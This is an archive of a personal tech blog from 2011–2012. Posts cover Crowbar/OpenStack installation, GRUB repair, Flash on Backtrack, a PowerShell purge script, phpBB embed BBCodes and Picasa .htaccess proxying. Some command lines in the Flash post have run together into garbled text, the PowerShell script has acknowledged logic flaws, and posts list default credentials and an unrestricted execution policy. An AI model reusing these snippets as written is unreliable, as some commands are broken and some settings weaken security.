Theatre of Dreams

Crowbar and OpenStack Pt Deux

2012-02-08T09:15:00.002Z

As a follow up to part 1 which left me with an 'installed' environment but no networking I thought I should post a follow up.

Since I last messed around a new version of crowbar (1.2) had been released so that was used. A nice addition is rather than research/guess the OpenStack barclamp install order they are now nicely arranged on the Crowbar admin panel.

I also came to the conclusion that my networking 'issues' were a result of both me trying to install on vSphere, which has no support for native VLAN's and by complicating things by trying to shoe horn the networking into my corp range.

So I build a little lab which consisted of anything not nailed to a desk, I could find lying around, or that no-body would notice missing.

Switch - vlans created with SVI ports as needed for default gateways and all ports 802.1q to the nodes.

Crowbar install went fine using Pt1 to fill in the missing details.

The Swift install failed until I added some more storage (those cutting edge USB disks on top) and restarted the Crowbar install from scratch.

My first attempt at building a instance failed. The instance remained in status of 'building'.

To debug

Use the Nova console to check which node the image has been deployed to and then grep the local /var/log/nova/nova-compute.log for ERROR.

2012-01-13 02:52:59,933 ERROR nova.compute.manager [-] Instance '5' failed to spawn. Is virtualization enabled in the BIOS? Details: internal error no supported architecture for os type 'hvm'

This is a result of the crappy hardware I'm using so I changed the nova barclamp to 'qemu' and bingo, deployed instance - well, sometimes. It seems pretty hit and miss, which I can't yet trace. I suspect I could still be suffering from the Heath Robinson lab I've put together. Pt.3 :)

Some useful bits I picked up and am keeping here for the moment

nova uid and password : admin / crowbar

Deployed nova/images instance path - on nodes :
/var/lib/libvirt

sudo nova-manage service list

mysql -u<user> -p<password>

Log entries of instance deploy and destroy.

2012-01-13 09:02:57,736 INFO nova.virt.libvirt_conn [-] instance instance-00000007: deleting instance files /var/lib/nova/instances/instance-00000007

2012-01-13 09:02:58,462 INFO nova.virt.libvirt_conn [-] Instance instance-00000007 destroyed successfully.

2012-01-13 09:07:29,306 INFO nova.virt.libvirt_conn [-] Instance instance-00000009 spawned successfully.

Windows Killed my MBR

2012-02-06T12:34:00.000Z

Having recently acquired a SSD and some more geebees I re-installed Ubuntu x64. The SSD already had a OEM Windows partition and I (foolishly) decided to just resize it 50/50 and put Linux on the back end. With a mind to come back and build the Windows OS as a dual boot.

Well this morning I went back, built the Windows OS and then fried my GRUB boot loader. Bye bye Ubuntu, insert sad face.

Recovering it wasn't so bad although as usual there is LOTS of conflicting documents and ways to get yourself out of this mess. This method worked for me :

Boot Ubuntu DVD in live mode.
Jump into a terminal and switch to sudo -i and run parted -l to establish which partition you need to rebuild the MBR for.

~$ parted -l
Model: ATA SAMSUNG SSD PM83 (scsi)
Disk /dev/sda: 128GB
Sector size (logical/physical): 512B/512B
Partition Table: msdos
Number Start End Size Type File system Flags
1 1049kB 106MB 105MB primary ntfs boot
2 106MB 45.1GB 45.0GB primary ntfs
3 45.1GB 128GB 82.9GB extended
5 45.1GB 120GB 74.4GB logical ext4 <---- Ubuntu Install
6 120GB 128GB 8453MB logical linux-swap(v1)

mount the partition

mount /dev/<partition> /destination

eg : mount /dev/sda5 /media/sda5

grub-install --root-directory=<mount> <disk>

eg : grub-install --root-directory=/media/sda5 /dev/sda

Assuming you get a success message your good to go. Reboot and you should have Linux back and in my case Windows 7 also now existed on the GRUB loader.

Caveat : The first time I tried to boot Windows it complained of a missing loaded. The second time it worked fine .. I never got to the bottom of that.

Moral of this story is install Windows first and Ubuntu second. Ubuntu is a clever OS and Windows is not.

New Year, new look

2012-01-08T12:23:00.000Z

I've been wanting to revamp my website (all two pages of them) and blog design for a while now. I wanted a cut down basic look which I'd seen on other sites. I'm not shy, and 'imitation is the sincerest form of flattery' right !?

Most of the other sites I'd seen sat on Wordpress. I toyed with this and even tested the theory using an AWS cloudformation Wordpress stack. Which incidentally worked really well ! But I've committed to blogger so wasn't going to going to switch that part and learning another platform just for a few pages seemed excessive. Although in hindsight probably less than the path I took.

I started to mess around and build up some html/css. One of my targets was to get a functioning menu rather than the multiple image hack I'd put together before. Reason : I'd stand more of a chance of getting the Google search sub-headings. Thinking about it I don't really know 'why' I want them, but that's now irrelevant.

I found this http://blog.vogtjosh.com/post/2990652547/css3-animated-drop-down-menu which has a really nice looking transition menu - well, I say nice, nice on SOME browsers. Basic on others (looking at you Microsoft).

De-constructing the CSS to get the look I wanted was not quick. A steep learning curve which went back and forth as the smallest change broke the look in different browsers.

I applied the same fade look to the social icons, again, that took ages and often meant going back to square one. Mostly due to my crap web skills but also because of very different behaviour across browsers and because I didn't do any revision control.

Persistence paid off and its mostly finished with the main page, picture gallery and blog all with a similar look. There are a few bugs which I need to look at and I need to clean up and better annotate the CSS. But mostly I'm happy with the result, especially in Chrome, IE - pah, who would use that as a browser now anyway. And I also learnt some new skills which is always nice.

Blogger, double line spacing

2011-12-29T19:33:00.000Z

This has been bugging the crap out of me for ages so I finally sat down this evening and worked it out. Or at least I worked a work-around out !

When creating posts blogger would kindly add </br> tags into the html. </br> is a HTML line break. So when writing a post with CR to create a single line space for a paragraph blogger would kindly add a br tags all over the place, and so you end up with double line spacing.

Note:Changing the line break options made bugger all difference.

I had my default blogger font as Trebuchet but in the WYSIWIG blogger editor the font would show as Times Roman. Each blog post I created I'd select all and use the font drop down to show me the correct font.

Bingo ! .. its at that point blogger gets all crazy with the br tags.

What I hadn't realised is if you leave the editor font alone and look at the preview then you get the default font you've set in the blog template design. And if you don't change the font in the editor then blogger never inserts the </br> tag.

I am happy now. No more switching to HTML view and deleting tags ..

VLC, Windows 7 to Basic Mode & Black screen

2011-12-29T18:15:00.001Z

Debugging an audio issue I have on XBMC and dropped to trusty VLC. Windows (7 x32) flicked into basic mode and VLC only played the audio.

A quick google showed a few hits with the same issue, but no resolution. Check video drivers, update VLC etc. All rather generic.

It also wasn't version specific (I horde older versions) and they all behaved in the same way.

No amount of preference changes resolved it.

Fix : Shut some apps, in my case Chrome was hogging all the RAM and I was >70% used. Releasing some system resources fixed VLC. So not directly a VLC issue.

Hope that helps some people. The problem seems to have been around a while ..

Installing flash on Backtrack 5

2011-12-14T13:30:00.001Z

Backtrack comes with flash installed, but it doesn't work. Believe it or not Nessus requires flash ! A security scanner that requires flash, oh the irony ..

Following the instructions provided by BT didn't work for me so I'm reproducing the 32bit steps which did :

Grab the correct/latest flash install from adobe.com :

install_flash_player_11_linux.i386.tar.gz

Run the following commands :

Remove BT installed files

apt-get purge flashplugin-nonfree flashplugin-installer gnash gnash-common mozilla-plugin-gnash swfdec-mozillarm -f /usr/lib/firefox/plugins/*flash*

rm -f /usr/lib/firefox-addons/plugins/*flash*rm -f /usr/lib/mozilla/plugins/*flash*

rm -f ~/.mozilla/plugins/*flash*sorm -rfd /usr/lib/nspluginwrapper

Install downloaded version

tar xvfz install_flash_player_11_linux.i386.tar.gzmkdir ~/.mozilla/pluginsmv -f libflashplayer.so ~/.mozilla/plugins/

Test within the browser, firefox about:plugins

Crowbar & OpenStack Install Part 1

2011-11-30T09:03:00.001Z

A few weeks ago I decided to investigate OpenStack. The core components are a collaboration and resulting love child of NASA and RackSpace and is an Open Source solution to build a blaah blaah cloud. It seems to be gaining good traction and is often mentioned in the same breath as VMware. In fact it appears everyone not in VMwares back pocket is jumping on the bandwagon and so seemed worthy of a look.

This is still a moving target for me, its not 'up' and has certainly not been painless and smooth, but I'm writing up Pt.1 as much for me as for the blogosphere.

OpenStack is, well, just that, a stack of different products which together produce an end solution. In my eyes and how I'd describe it to 'management' is its comparable to LAMP. Linux, Apache, MySQL and PHP.

I won't go into the details you can read yourself - http://en.wikipedia.org/wiki/OpenStack

I started by reading the install docs and attempting to install each piece individually and then I guess hook them all together.

This didn't go well and a twitter reply from Matthew McClean suggested I take look at Dells Crowbar.

The rest of this post will be the process, troubleshooting and useful links I've come across as I attempt to install Crowbar on my journey to OpenStack nirvana ..

Crowbar background

https://github.com/dellcloudedge/crowbar/wiki
http://robhirschfeld.com/2011/03/14/how-openstack-installer-works/

Resources

4 VMware guests - Each has two NICS each on a vlan, eth0 vlan 66 and eth1 99. eth0 will be re-configured from the default so its available on my corp LAN.

Admin Node - 2GB RAM, 20GB disk
Node 1 - 1GB RAM, 15GB disk
Node 2 - 1GB RAM, 8GB disk
Node 3 - 1GB RAM, 8GB disk

Installation

The documented install procedure - https://github.com/dellcloudedge/crowbar/wiki/Install-crowbar

If only it were that simple.

Build or grab the correct ISO - in this case v1.1 http://crowbar.zehicle.com/openstack111111.iso

NB//Crowbar.iso is a base install, it has none of the OpenStack components.

Boot your first server on the ISO
If the default networking works for you then great. Otherwise edit network BEFORE installing. In my case I changed the Admin network settings.
Run install - https://github.com/dellcloudedge/crowbar/wiki/Install-crowbar

This will build, pretty seamlessly, your 'admin' node which is then used to build the other components.

Here things went a little squiffy.

Theres a nice YouTube video of building the environment which I started to follow :

But with little success. The first barclamp (name assigned to the Crowbar packages, which actually in turn directly represent Chef cookbooks) which the video has you assign is Glance, which for me failed. Attempting to resolve this I joined the Crowbar lists and co-coincidently someone else asked about the order to install applications and had another link :

http://lists.us.dell.com/pipermail/crowbar/2011-November/000308.html

MySQL
Keystone
Nova Dashboard
Glance
Nova

Very different to the order on the video ! - But its still worthwhile watching.

Another little find went into some further details - http://kb.dtosolutions.com/wiki/Deploying_a_small_OpenStack_test_environment_using_Crowbar

From these I eventually cooked up the following install method which seems to be more successful than anything else so far.

Due to a bug in the dashboard when removing or adding nodes I found you had to create all your nodes upfront before you start to apply barclamps. Create 3 nodes, power them all on so they run the discovery image and become available in the Crowbar console (unassigned, yellow).

Click bulk edit and assign all three. They will install the OS, reboot a few times and then go 'assigned' in the console with a green icon.

Assuming you have the admin node built and three green nodes.

Build MySQL proposal and assign server to node 1 and client to node 2 and 3
Build Keystone and assign to node 1
Nova Dashboard to node 1
Glance to node 1
Nova.

Nova requires a 'controller' and then compute nodes. Trying to do all three failed for me so I did them individually. In my case I'm using VMware for this POC so the nova proposal needs to be changed. Edit the line :

"libvirt_type": "kvm", -> "libvirt_type": "qemu",

And assign Controller to node 1 and then compute to 2 and 3.

Throughout all of this I had a tail -f running to the admin log :

/opt/dell/crowbar_framework/log/production.log

By all accounts I should now have a working environment. I don't, everything appears to be installed but the learning curve continues.

Nova dashboard is not working which I've traced to a routing issue on node 2. It has theadmin interface up but the default gateway is using one of the networks I didn't change at the install time.

Nagios is not working. Watching the production.log during the barclamp installs showed Nagios errors but I'm ignoring them/that for now.

Troubleshooting / Hints 'n' tips :

Barclamps sometimes report failure to deploy but repeating the same task will be successful.

If your running your POC on hypervisors or something else that has the technology make good use of snapshots.

Empathy new IM notifications / window

2011-11-23T09:48:00.001Z

Part of my continued insistence on using Linux rather than Windows has meant using Pidgin as my IM client for corporate Sametime and Google chat.

Not being 100% happy with it I switched to Empathy. Much cleaner interface and generally more happy.

But, new IM conversations appeared on the notifications bar (Gnome3) rather than launching a new window. Annoying and very easily missed.

Nothing obvious in the preferences. Clutched at straws by disabling (Preferences | General) 'Display incoming events in the notification area' and bingo.

New tabs/windows open on a new IM - happy (for now)

OCD, me !?

2011-10-24T09:07:00.000+01:00

A conversation in the office on how to lace shoes, something I have very strong feelings about, resulted in me making a list :

Shoe laces must be over not under and be symmetrical.
If a shirt has button down collars - use them !
Shirt/T-shirts are not allowed to have the top button done up. Unless a tie is involved.
Under no circumstance will anyone touch my screens with fingers.
Toilet rolls, over not under.
Cables will not be crossed in my data centre.
Wooden cutlery, simply not allowed.
Rattles in car. Must be found.
Plastic film on remote controls/electronic devices - not allowed and will be removed ASAP.

Powershell file & directory purge script

2011-10-04T15:05:00.001+01:00

I've been wanting to learn something new for a while and since @darrenparkinson comments on my DNS update batch file I thought I'd have a look at Powershell, aka POSH (I like that).

Started by diligently reading each chapter of 'Mastering Powershell', Dr. Tobias Weltner. I say each chapter, my attention levels waned after about chapter, erm 1.

Plan B.

I already have a few scripts (batch) running in the office so picked on one of those and started trying to write a replacement. In this case a purge files after # days which we run on a fileshare.

Dive in, used the book for reference and of course the worlds saviour our good friend google.

Lots of reading, lots of searching, lots of head scratching, lots of trying others examples and lots of grumpiness resulted in below.

# // ----------------------------------------------------------------------------------//
# // This script will delete files and directories based on path and days set below //
# // Errors are written to the Application event log and an email summary sent. //
# // //
#
# // Revision history :
# // Created : 03/10/2011 - Paul Regan //
# // ----------------------------------------------------------------------------------//

// READ THESE TWO SECTIONS !!!
//

        // 1. Before you can start writting to system logs you have to register the source - only once.  Not particulary well documented so left here

// for reference :
// New-EventLog -Logname "<name>" -Source "<a name you can reference>"
// eg
// new-EventLog -Logname "Application" -Source "POSH:Script"

// 2. Depending on your local security you may need to set script execution policy.
// http://technet.microsoft.com/en-us/library/ee176961.aspx
//
// set-executionpolicy <level>
// eg
// set-executionpolicy unrestricted

# // *********** Set your variables here !
# //
# // -Days ## is the period you want to retain
$span = new-timespan -Days 30
# // Working directory
$SourcePath = "s:\temporary"
# // Set logging variables
$logname = "s-temp-delete-$todaynumerical.log"
$logpath = "c:\scripts\logs"
# // Set eMail variables
$subject = "POSH Script : Files and directories deleted from $sourcepath on $todaynumerical"
$fromAddress = "posh@domain.co.uk"
$smtpServerName = "smtpserver.domain.co.uk"
$toAddress = "people@domain.co.uk"
# // Send attachment or results in the body of the email [true/false]
$emailattach = "false"
# // System variable - DONT CHANGE unless you know what you are doing (not that I do)
$today = get-date
$todaynumerical = get-date -format "yyyy-d-M"
$CutoffTime = $today-$span

# // Creates a function with all the param needed for the commane Write-EventLog
function WriteEventLog ($message, $entrytype)
{
Write-EventLog -Logname "Application" -Source "FilesScript" -Message $message -EntryType $entrytype -EventID 4001
}

# // Set the two variables
$message = "PS Log file message"
$entrytype = "Information"

#       // I think this writes the first message to the Windows event log defined above, gives you a 'start of process' point to find in a busy log.

WriteEventLog $message $entrytype

# // Builds a file list (PS can accept/apply multiple output messages to the same variable.
# // Where-Object {$_.PSIsContainer -eq $False = Only files, directories would return TRUE
$files = get-childitem -recurse $SourcePath | Where-Object {$_.PSIsContainer -eq $False}

# // empty arrays to hold file lists
$removedFiles = @()
$skippedFiles = @()
$failedactionfiles =@()

# // Start the for loop to read $files and determin the action based on the modified date
foreach ($file in $files)
{
remove-item -ev a -path $file.fullname -recurse -force -whatif | Where-Object {$_.lastwritetime -le $CutoffTime}

<#
#####################################################################################################################
if ($file.lastwritetime -gt $CutoffTime)
{
$skippedFiles += $file.fullname
# $message = "Not moving newer: " -join $file.fullname
# $entrytype = "Information"
# // I don't really want to write files not deleted/moved into the EventLog
# WriteEventLog $message $entrytype
}
else
{
# // Build the newname variable using destination path, old file name and todays date
# $newname = $DestPath + "\" + $file.name + "-" + $file.lastwritetime.tostring("yyyy-MMM-dd")

# // -ev = ErrorVariable which the output from is being set to 'a'
# // $file.fullname pulls the full path from the object (file)
#move-item -ev a -path $file.fullname -destination $newname
remove-item -ev a -path $file.fullname -recurse -force -whatif
# // From the variable $a .count the number of entries, entries against $a would mean an error
#####################################################################################################################
#>
# // Are there any errors ?
if ($a.count -gt 0)
{
# // Creates a $message variable based on $a (output from Remove-Item) and $file (The file we're working on)
# // remote-item generates a nice clean message. move-item does-not, both message options below.
#$message = $file.fullname + " - " + $a[0].tostring()
$message = $a[0].tostring()
# // Writes the error to the event log defined above
$type = "Error"
WriteEventLog $message $type
# // Also add the message to the $failedactionfiles array, which we'll use later ..
$failedactionfiles += $message
}
else
{
$removedFiles += $file.fullname
}
}

#       // I have now removed all files older than $span and will start removing all EMPTY directories that match the same cut off time

# // Build a list of home directories from $sourcepath and apply to $rootdirs
$rootdirs = get-childitem $sourcepath | Where-Object {$_.PSIsContainer -eq $True}

<# // This function is not actually being used but I am proud of it, my first, so its staying here for now.
function getemptydirs ($source)
{
# // Command from http://technet.microsoft.com/en-us/library/ff730953.aspx

#       // (Get-ChildItem c:\scripts\working\live -recurse | Where-Object {$_.PSIsContainer -eq $True}) | Where-Object {$_.GetFiles().Count -eq 0} | Select-Object FullName,root,parent

(Get-ChildItem $source -recurse | Where-Object {$_.PSIsContainer -eq $True}) | Where-Object {$_.GetFiles().Count -eq 0} | Select-Object FullName

}

# // Get-ChildItem c:\scripts\working\live\paul | get-member << to display available properties
# // (Get-itemproperty -path c:\scripts\working\live\paul).lastwritetime << to display lastwrite time property

#       // Get-ChildItem c:\scripts\working\live -recurse | Where {$_.psIsContainer -eq $true} | get-member -membertype property

#       // Get-ChildItem c:\scripts\working\live -recurse | Where {$_.psIsContainer -eq $true} | get-itemproperty -name "Parent"

#>

# // Create some empty arrays and default options to be used
$emptydirs = @()
$removeddirs = @()
$message = "PS Log file message"
$entrytype = "Information"

#       // Loop through $rootdirs and create an array containing all directories with zero file count and older than # days (set above)

foreach ($directory in $rootdirs)
{

    $emptydirs += (Get-ChildItem $directory.fullname -recurse | Where-Object {$_.PSIsContainer -eq $True}) | Where-Object {$_.lastwritetime -le $CutoffTime} | Where-Object {$_.GetFiles().Count -eq 0}

}

# // Now delete the list we just made

#       // First compare the count of $rootdirs & $emptydirs.  If they are the same it indicates there are no directories to delete.

if ($emptydirs.count -eq $rootdirs.count) {
echo "Zero to delete"}
else {
# // Loop through $emptydirs removing each directory

#       // NB// If the root dir is actually empty, ie has no dirs that match the remove filter then it will generate a null error if you watch the script live.

foreach ($emptydir in $emptydirs) {
remove-item -errorvariable err -path $emptydir.fullname -recurse -force -whatif

if ($err.count -gt 0) {
# // Creates a $message variable based on $error (output from remove-item)
$message = $err[0].tostring()
# // Writes the error to the event log defined above
#$type = "Error"
#WriteEventLog $message $type
# // Also add the message to the $failedactiondir array, which we'll use later ..
$failedactiondir += $message }
else {
$removeddirs += $emptydir.fullname}
}
}

# // Create the log files
# // Moosh both the results arrays into a single with output to a txt file
$attachments = $removedfiles+$removeddirs | out-file $logpath\$logname

# // Just to keep the email clean I'll check for empty file actions and set a cute little message
if ($failedactionfiles.count -eq 0) {$failedactionfiles = "No file remove failures"}
if ($removedfiles.count -eq 0) {$removedfiles = "No files removed"}
if ($skippedfiles.count -eq 0) {$skippedfiles = "No files skipped"}
if ($removeddirs.count -eq 0) {$removeddirs = "No directories removed"}

# // Construct the email message
$bodyText = @()
$bodyText += "Failed to remove: "
$bodyText += $failedactionfiles
$bodyText += "----------------------------------------------------"
$bodyText += "Removed files: "
$bodyText += $removedFiles
$bodyText += "----------------------------------------------------"
$bodyText += "Skipped files: "
$bodyText += $skippedFiles
$bodyText += "----------------------------------------------------"
$bodyText += "Removed directories: "
$bodyText += $removeddirs

#       // The text from the array $bodyText when sent via email comes out as a single line.  | Out-String deals with that.

#       // http://social.technet.microsoft.com/Forums/en-US/winserverpowershell/thread/e0213b00-331f-4588-be90-afd0ce5ed50b/

$bodyText = $bodyText | Out-String
$bodyString = @"
$bodyText
"@

if ($emailattach -eq "false") {
# // Send email with results in the body

        send-mailmessage -To $toAddress -Subject $subject -From $fromAddress -Body $bodyString -SmtpServer $smtpServerName

}
else {
# // Send email with attachment log file

        send-mailmessage -To $toAddress -Subject $subject -From $fromAddress -attachments "$logpath\$logname" -SmtpServer $smtpServerName

}

So my journey is far from over, in fact its just started and I'll re-visit this at some point as its pretty scrappy no doubt horribly inefficient, but it works and I even managed to improve on the result, previously empty directories got left behind and thats now addressed with this so I'm happy(ish). I at least now have a much better understanding of the potential.

I'm also resigned that I'll never be a developer and I can certainly relate to this girl ..

Replace Pi with many POSH cmdlets and statements I've attempted to understand over the past month or so .....

What is an Object?

2011-10-04T10:55:00.001+01:00

What is an Object?

An “Object” is something we can gather information from and/or perform an action upon. An object, in PowerShell, consists of properties (information we can gather) and methods (actions we can perform).

As an example, let’s look at a “light bulb.” The object should be obvious, it’s a light bulb. The properties of a light bulb could be color, wattage, and type (florescent, incandescent, or halogen). Methods are the actions we can perform on the object such as; turn on the light bulb and turn off the light bulb.

XBMC Addons (finding the bloody things)

2011-09-07T19:45:00.003+01:00

After wasting too much time trying to find an addon I'd just installed.

Go to the type of media, eg video, and navigate up !

Visio Vertices

2011-08-31T11:51:00.002+01:00

Because literately everytime I go to do this I forget, its my Visio black hole ..

Vertices appear when you select the Line or Pencil tool !

Humax IR problem, BlueEye to the rescue !

2011-08-30T12:27:00.003+01:00

Replacing my Sky service with a Humax receiver has only been a good thing but the IR 'issue' was bugging me. It just wasn't up to the job in the way my room is laid out.

I settled on an IR extended from BlueEye, ordered, arrived, excelled service.

I tested it for a few days and it solved the problem. I made the final install by routing the cable through the case and tucking the IR sender into the back of the IR component on the front facing board. Its a few screws and the front pops off, all pretty simple.

Getting the cute profile picture in Google search results

2011-08-19T14:43:00.002+01:00

Looking for something this morning and I noticed peoples picture appearing next to some searches :

Some random person

Apparently easy. Well the first part was, getting a full sign off on the webmaster snippets testing tool took a fair amount of reading.

You need :

Website, Blog, or I think pretty much anything online would work as long as you can edit the code
Google profile

Your going to create a link between those two things which Google magic uses to look you up in searches that hit your content.

On your site/blog create a link to your Google profile :

Your profile url will be something like : https://plus.google.com/102726977217362443519

NB// the rel="author" is the super important bit.

I already had a Google+ link (top left) on my blog so just added the rel="author"

Next step is to edit your Google profile so that it includes a link to the site you just added the link on.

Running the snippet test tool against this blog gave me a single error :

Warning: Missing required field "updated".

4 hours later and much reading I came across this which talks about enabling your blog for hatom, part of the microformats initiative - and way out of the scope for this post.

The pertinent part for me was the class='timestamp-link' section with the class 'updated'. And the part missing from my blogger template.

Edit the design of your template and go into raw edit HTML, enable the widget check box and then search for the text 'timestamp-link'.

In my template there were two entries. Add 'updated' to the class. Save and re-run the snippet test, you should be good.

<a class='timestamp-link updated' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published' expr:title='data:post.timestampISO8601'><data:post.timestamp/></abbr></a>

So now you wait <insert Google time> until they get around to crawling the site and updated the index.

Enabling Cisco Call Manager (6.1) Music on Hold (MOH) Multistreaming

2011-08-18T09:24:00.001+01:00

Enable Multicast :

global switch/router commands (VRF)

ip multicast-routing
ip pim send-rp-announce Loopback0 scope 10

ip pim send-rp-discovery scope 10

ip multicast-routing vrf

ip pim vrf INTERNAL send-rp-announce scope 100 -- Best practice is Loopback rather than interface

ip pim vrf send-rp-discovery scope 100

Add ip pim sparse-dense-mode to all Interfaces that need to participate in the multicast stream or pass traffic

Show commands :

sh ip mroute
sh ip mroute vrf INTERNAL

Output :
*Snip*
(*, 239.1.1.1), 01:35:57/stopped, RP 10.2.70.253, flags: SP
Incoming interface: , RPF nbr 10.2.70.253, RPF-MFD
Outgoing interface list: Null
*Snip*

Call Manager Config :

Enable Multicast on MOH Audio Source
Enable Multicast on MOH Server - default IP is 239.1.1.1:16384
- enable increment port
Enable Multicast on Media Resource Group

NB//Enabling Multicast on the MRG requires endpoints to be reset to pick up the new settings, including gateways.

Something aaS

2011-08-18T09:19:00.000+01:00

Nice article : http://www.katescomment.com/iaas-paas-saas-definition/

A way/hack to use your own domain with Google Picasa

2011-08-03T13:27:00.011+01:00

Assumes you already have :

a - domain
b - it being hosted somewhere with some space
c - access to create/edit .htaccess file.

Open up one of your galleries and we're looking for the part of the URL after google.com.

eg: http://picasaweb.google.com/paulregan73/GalleryName

In that URL paulregan73 is my Picasa user name and will remain on the new URL we'll create.

Now add the following to the .htaccess file, replace picasauser with your specific account name.

RewriteRule ^picasauser(.*) http://picasaweb.google.com/picasauser$1 [NC,P,L] #Rev proxy picasa
RewriteRule ^m(.*) http://picasaweb.google.com/m$1 [NC,P,L] #Rev proxy mobile picasa

The first rule means you can now hit the Picasa files using :

http://your_domain/picasauser/gallery

NB// Of course this only works for public galleries and not private/https - the google.com cert will fail for private.

eg: www.paulregan.co.uk/paulregan73/LondonPleasureGardensDocklands

The second rule takes care of mobile users. Google will redirect them to /m. Having this rule seems to take care of that.

EDIT : 24/8/2011 - Google seem to be switching the user id part of the URL from the name to a numerical representation of you google id.

https://picasaweb.google.com/102726977217362443519

So a new line in My .htaccess :

RewriteRule ^102726977217362443519(.*) http://picasaweb.google.com/102726977217362443519$1 [NC,P,L] #Rev proxy picasa url to paulregan.co.uk

It also looks like Google are redirecting all mobile access to https. So the ^m(.*) above still works if you specify the full mobile url, eg something like :
http://www.paulregan.co.uk/m/viewAlbum?uname=paulregan73&aid=5635917397624685905&start=0&fgl=true&pli=1

but when you use a regular link and hit it with a mobile client the https gets in the way and your dumped on the picasa login screen ... booooo. I'll keep playing with this but I don't see a way around it, which kind makes the whole thing worthless now. Maybe Google will let us use our own domains in the future, a-la blogger ..

Adding CoolIris embed to PhpBB

2011-07-22T15:09:00.000+01:00

Under the 'posting' section in the ACP.

Create a new BBCode :

BBCode :

[cooliris]http{SIMPLETEXT}://picasaweb.google.com/{INTTEXT}/{IDENTIFIER2}[/cooliris]

HTML replacement :

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js">

</script>

<div id="wall{INTTEXT}{IDENTIFIER2}"> <script>

var flashvars = {

feed: encodeURIComponent("api://picasaweb.google.com/?user={INTTEXT}&album={IDENTIFIER2}")

};

var params = {

allowFullScreen: "true",

allowscriptaccess: "always"

};

swfobject.embedSWF("http://apps.cooliris.com/embed/cooliris.swf",

"wall{INTTEXT}{IDENTIFIER2}", "600", "450", "9.0.0", "",

flashvars, params);

</script>

</div>

NB// This JS code is from http://lysergo.blogspot.com/2010/05/bbcode-picasa.html. I made two changes from the original blog post. '#' dropped and {SIMPLETEXT} added to the BBCode.

Assuming it saves OK you can now test this by manually adding a URL between the [cooliris][/cooliris] tags. If it all works OK you can go back to the code edit and enable the 'Display on posting page' and add a little help text.

Adding Web Picasa Slide show to PhpBB

2011-07-22T14:47:00.000+01:00

Under the 'posting' section in the ACP.

Create a new BBCode :

BBCode :
[picasa]http{SIMPLETEXT}://picasaweb.google.com/{INTTEXT}/{IDENTIFIER2}[/picasa]

HTML replacement :

<script type="text/javascript"
src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js">
</script>
<div id="piks{INTTEXT}{IDENTIFIER2}"> <script>
var flashvars = {

feed: "http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2F{INTTEXT}%2Falbum%2F{IDENTIFIER2}%3Falt%3Drss%26kind%3Dphoto%26hl%3Den_US",

RGB: "0x000000"
};
var params = {
pluginspage: "http://www.macromedia.com/go/getflashplayer",
allowscriptaccess: "always"
};
swfobject.embedSWF("http://picasaweb.google.com/s/c/bin/slideshow.swf",
"piks{INTTEXT}{IDENTIFIER2}", "600", "450", "9.0.0", "",
flashvars, params);
</script>
</div>

NB// This JS code is from http://lysergo.blogspot.com/2010/05/bbcode-picasa.html. I made two changes from the original blog post. '#' dropped and {SIMPLETEXT} added to the BBCode.

Assuming it saves OK you can now test this by manually adding a URL between the [picasa][/picasa] tags. If it all works OK you can go back to the code edit and enable the 'Display on posting page' and add a little help text.

Adding YouTube embed to PhpBB

2011-07-22T14:00:00.000+01:00

Under the 'posting' section in the ACP.

Create a new BBCode :

BBCode :

[youtube]http://{SIMPLETEXT1}.youtube.com/watch?v={SIMPLETEXT2}[/youtube]

HTML replacement :

 <iframe width="425" height="349" src="http://{SIMPLETEXT1}.youtube.com/embed/{SIMPLETEXT2}?rel=0" frameborder="0" allowfullscreen></iframe>

Assuming it saves OK you can now test this by manually adding a URL between the [youtube][/youtube] tags.  If it all works OK you can go back to the code edit and enable the 'Display on posting page' and add a little help text.

IBM Lotus Notes 8.5.2 running on Ubuntu 11.04 (Natty Narwhal) under WINE

2011-07-13T08:28:00.003+01:00

In my other blog post I talk about the display\graphic problems using the native debian/ubuntu IBM Domino client.

Seeing as I also use the admin client, and occasional designer I thought I'd have a crack at installing under Wine v 1.2.2.

I'm going to blog this exactly as it happened, theres a point in which the gremlins get in and make something do something which is good (ish) but I'm not exactly sure when and what. I'll be sure to point that bit out.

Once Wine is installed use the Wine utils to run setup.exe. All appears well until about 90% on the install bar when you then receive a notes.ini error. I suspect the install procedure can't write it and so barfs.

I cancelled the error and then the install (had to use force quit). This actually left the Domino application files in .wine/drive_c/Program Files/IBM/Lotus/Notes (or your chosen path).

For all Dominos bad points its portability across systems and OS is a massive plus. So wondering if I could cheat I copied a notes.ini (paths were the same), names.nsf, bookmarks.nsf from my Windows install, right click notes.exe and open with Wine. Close, splash screen and the status bar just kept getting 100% and then starting again.

At this time Wine started to also play up, very slow to launch, like minutes. No config etc. I pushed through and tried to install Domino over the top of the existing install, you have a good .ini so use it. This seemed to fail, again couldn't launch.

So I slept on it and wondered about the Wine slow problems.

This morning a quick google and I ran :

wineboot --update

Bingo, Domino icons appeared on the desktop and applications menu. Excitement +1
Launched the app, password, desktop. +2

Opened an email -5
Opened a db -5

Exactly the same display problems as when I run the native Linux client. Certainly seems to point more to a graphics issue now though .. But on the plus side I got to play with Wine which is a new app for me, office 2010 and a h.323 client might be next !

So the gremlins. My hunch is that after the first Domino install I started to have Wine problems (hic). The second Domino install when there was a working notes.ini probable worked and had I run --update it would have got me to a working(ish) install.

If I were to do it again create the full domino path and plonk a good notes.ini in there prior to installing. If I get time/motivation I'll test this theory out. Please comment if you do ..

IBM Lotus Notes 8.5.2 Linux client on Ubuntu 11.04 (Natty Narwhal)

2011-07-12T13:03:00.003+01:00

I've set myself the task of switching my desktop OS from Windows 7 to Ubuntu. No particular reason other than the challenge it sets.

Something thats not working great, when I say great I mean at all is the IBM Lotus Notes client. Having eventually found the Ubuntu download. No small effort when confronted with the IBM download site.

notes.net led me to a post with the part number - CZIF5EN. Which a search on the passport site found.

Install went pretty seamlessly. Extract the .tar and run the install which launched software centre. Ran through the regular first time client setup, server name, id file etc and launched the client - IT WORKS !

Amazing, I was expecting a fight. Open inbox, open message, oh .. some serious display issues. Not so much artefacts but empty tabs and big grey boxes.

I suspect its graphics related but so far Domino is the only application to exhibit any issues. I plan on opening a TAC with IBM.

UPDATE 15/7/2011 - IBM have confirmed that support for the native client is currently restricted to Ubuntu 8 - https://www-304.ibm.com/support/docview.wss?uid=swg27019218#Ubuntu Desktop

First play with Amazon Web Services

